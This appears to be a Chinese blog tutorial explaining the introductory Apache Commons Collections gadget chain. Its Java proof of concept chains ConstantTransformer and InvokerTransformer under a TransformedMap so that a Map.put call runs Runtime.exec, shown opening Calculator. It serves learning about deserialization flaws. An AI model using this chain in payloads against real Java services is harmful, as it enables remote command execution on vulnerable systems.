CC链 初识

CC0

这是phith0n自创的入门cc链
由于手头的mac有安全限制 小改了一下InvokerTransformer 本质不变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.govuln.deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsIntro {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{ "open -a Calculator" }
)

};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}

cc0.png

分析一下这条链子

01.TransformedMap

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。

我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

1
2
3
4
5
6
7
8
9
10
11
12
# 定义
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
}

# 调用
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  • keyTransformer是处理新元素的Key的回调
  • valueTransformer是处理新元素的value的回调

这⾥所说的”回调”,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类
回调不是 Java 独有的概念,它就是一个约定
“你把你的处理逻辑(一个对象)交给我,当特定的事情发生时,我会调用你的逻辑来处理。”

在 CC 链里,这个约定就是 Transformer 接口:

  • 你给我的就是一个 Transformer 实例。
  • 当 Map 需要转换新元素时,我就调这个实例的 transform 方法。
  • 至于 transform 里具体做什么,那是你这个实例自己的事。

这样,TransformedMap 不需要知道你会执行命令还是只是返回一个字符串,它只需要遵守约定:“有事我就调 transform”。

02.Transformer

Transformer是一个接口 只有一个待实现的方法

1
2
3
public interface Transformer {
public Object transform(Object input);
}

TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调函数“,这个回调的参数是原始对象

03.ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回:

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作

04.InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时,需要传⼊三个参数

第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

# 后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}

05.ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。
通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

Map.put() –> ChainedTransformer –> ConstantTransformer.transform()–> ChainedTransformer –> ConstantTransformer.transform() –> Output

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

了解了这些 回过头来看payload

06.完整流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class CommonsCollectionsIntro {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.getRuntime()),

new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{ "shell" }
)

};

# I.
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

# II.
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

# III.
outerMap.put("test", "xxxx");
}
}

I. 创建了⼀个ChainedTransformer, 里面包含两个Transformer实例: ContantTrasnformer与InvokerTransformer;
Contantransformer 直接返回当前环境的Runtime对象
InvokerTransformer 执⾏Runtime对象的exec⽅法 参数是我们准备的payload

II. 这个transformerChain只是⼀系列回调,使⽤TransformedMap.decorate包装innerMap

III. 将Map中放入一个元素,触发回调

TransformedMap 内部方法 transformValueput 时被自动调用。这个方法会去调给他的那个 valueTransformertransform。 就是回调:

  • Map 的 put 事件触发了“转换 value”的行为。
  • 而转换的具体做法,是通过 Transformer 对象“塞”进去的。
1
Object newValue = transformerChain.transform("xxxx");